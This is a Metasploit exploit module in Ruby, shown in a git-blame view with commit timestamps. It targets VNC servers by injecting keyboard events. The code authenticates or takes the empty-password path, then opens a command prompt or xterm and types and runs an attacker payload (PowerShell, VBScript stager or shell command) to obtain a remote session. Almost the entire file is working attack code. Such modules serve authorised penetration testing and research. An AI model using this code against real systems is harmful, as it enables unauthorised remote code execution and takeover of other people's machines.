Files
metasploit-gs/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
T

188 lines
6.2 KiB
Ruby
Raw Normal View History

2015-07-10 14:08:32 +07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-07-10 14:08:32 +07:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/rfb'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-07-10 17:49:15 -05:00
Rank = GreatRanking
2015-07-10 18:35:13 -05:00
WINDOWS_KEY = "\xff\xeb"
ENTER_KEY = "\xff\x0d"
2015-07-10 14:08:32 +07:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
2015-07-10 18:39:11 -05:00
'Name' => 'VNC Keyboard Remote Code Execution',
2015-07-10 14:08:32 +07:00
'Description' => %q{
This module exploits VNC servers by sending virtual keyboard keys and executing
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
and a payload is typed and executed.
},
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
'Privileged' => false,
'License' => MSF_LICENSE,
'Platform' => %w{ win unix },
'Targets' =>
[
2015-07-10 17:49:15 -05:00
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
2015-07-10 14:08:32 +07:00
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
],
2015-07-10 18:46:06 -05:00
'References' =>
[
[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']
],
2015-07-10 14:08:32 +07:00
'DisclosureDate' => 'Jul 10 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [ false, 'The VNC password']),
2015-07-10 18:35:13 -05:00
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
])
2015-07-10 14:08:32 +07:00
end
def post_auth?
true
end
2015-07-10 14:08:32 +07:00
2015-07-10 18:35:13 -05:00
def press_key(key)
2015-07-10 14:08:32 +07:00
keyboard_key = "\x04\x01" # Press key
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
keyboard_key << key # The keyboard key
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
sock.put(keyboard_key)
end
2015-07-10 18:35:13 -05:00
def release_key(key)
2015-07-10 14:08:32 +07:00
keyboard_key = "\x04\x00" # Release key
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
keyboard_key << key # The keyboard key
2015-07-10 18:35:13 -05:00
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
2015-07-10 14:08:32 +07:00
sock.put(keyboard_key)
end
2015-07-10 18:35:13 -05:00
def exec_command(command)
2015-07-10 14:08:32 +07:00
values = command.chars.to_a
values.each do |value|
press_key("\x00#{value}")
release_key("\x00#{value}")
end
2015-07-10 18:35:13 -05:00
press_key(ENTER_KEY)
2015-07-10 14:08:32 +07:00
end
2015-07-10 18:35:13 -05:00
def start_cmd_prompt
2015-07-10 14:08:32 +07:00
print_status("#{rhost}:#{rport} - Opening Run command")
# Pressing and holding windows key for 1 second
2015-07-10 18:35:13 -05:00
press_key(WINDOWS_KEY)
Rex.select(nil, nil, nil, 1)
2015-07-10 14:08:32 +07:00
# Press the "r" key
press_key("\x00r")
# Now we can release both keys again
release_key("\x00r")
2015-07-10 18:35:13 -05:00
release_key(WINDOWS_KEY)
2015-07-10 14:08:32 +07:00
# Wait a second to open run command window
select(nil, nil, nil, 1)
2015-07-10 18:35:13 -05:00
exec_command('cmd.exe')
2015-07-10 14:08:32 +07:00
# Wait a second for cmd.exe prompt to open
2015-07-10 18:35:13 -05:00
Rex.select(nil, nil, nil, 1)
2015-07-10 14:08:32 +07:00
end
def exploit
begin
alt_key = "\xff\xe9"
f2_key = "\xff\xbf"
password = datastore['PASSWORD']
connect
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
unless vnc.handshake
2015-07-10 18:35:13 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
2015-07-10 14:08:32 +07:00
end
2015-07-10 18:35:13 -05:00
if password.nil?
print_status("#{rhost}:#{rport} - Bypass authentication")
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
sock.put("\x10")
else
2015-07-10 14:08:32 +07:00
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
if vnc.authenticate(password)
print_status("#{rhost}:#{rport} - Authenticated")
else
2015-07-10 18:35:13 -05:00
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
2015-07-10 14:08:32 +07:00
end
end
# Send shared desktop
unless vnc.send_client_init
2015-07-10 18:35:13 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
2015-07-10 14:08:32 +07:00
end
if target.name =~ /VBScript CMDStager/
2015-07-10 18:35:13 -05:00
start_cmd_prompt
2015-07-10 14:08:32 +07:00
print_status("#{rhost}:#{rport} - Typing and executing payload")
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
# Exit the CMD prompt
2015-07-10 18:35:13 -05:00
exec_command('exit')
2015-07-10 14:08:32 +07:00
elsif target.name =~ /Powershell/
2015-07-10 18:35:13 -05:00
start_cmd_prompt
2015-07-10 14:08:32 +07:00
print_status("#{rhost}:#{rport} - Typing and executing payload")
2015-07-10 18:35:13 -05:00
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
2015-07-10 14:08:32 +07:00
# Execute powershell payload and make sure we exit our CMD prompt
exec_command("#{command} && exit")
elsif target.name =~ /Linux/
2015-07-10 18:35:13 -05:00
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
2015-07-10 14:08:32 +07:00
# Press the ALT key and hold it for a second
press_key(alt_key)
2015-07-10 18:35:13 -05:00
Rex.select(nil, nil, nil, 1)
2015-07-10 14:08:32 +07:00
# Press F2 to start up "Run application"
press_key(f2_key)
# Release ALT + F2
release_key(alt_key)
release_key(f2_key)
# Wait a second for "Run application" to start
2015-07-10 18:35:13 -05:00
Rex.select(nil, nil, nil, 1)
2015-07-10 14:08:32 +07:00
# Start a xterm window
print_status("#{rhost}:#{rport} - Opening xterm")
2015-07-10 18:35:13 -05:00
exec_command('xterm')
2015-07-10 14:08:32 +07:00
# Wait a second for "xterm" to start
2015-07-10 18:35:13 -05:00
Rex.select(nil, nil, nil, 1)
2015-07-10 14:08:32 +07:00
# Execute our payload and exit (close) the xterm window
print_status("#{rhost}:#{rport} - Typing and executing payload")
exec_command("nohup #{payload.encoded} &")
2015-07-10 18:35:13 -05:00
exec_command('exit')
2015-07-10 14:08:32 +07:00
end
2015-07-10 18:48:46 -05:00
print_status("#{rhost}:#{rport} - Waiting for session...")
2015-07-10 18:35:13 -05:00
(datastore['TIME_WAIT']).times do
Rex.sleep(1)
# Success! session is here!
break if session_created?
end
2015-07-10 14:08:32 +07:00
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
2015-07-10 18:35:13 -05:00
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
2015-07-10 14:08:32 +07:00
ensure
disconnect
end
end
def execute_command(cmd, opts = {})
2015-07-10 18:35:13 -05:00
exec_command(cmd)
2015-07-10 14:08:32 +07:00
end
end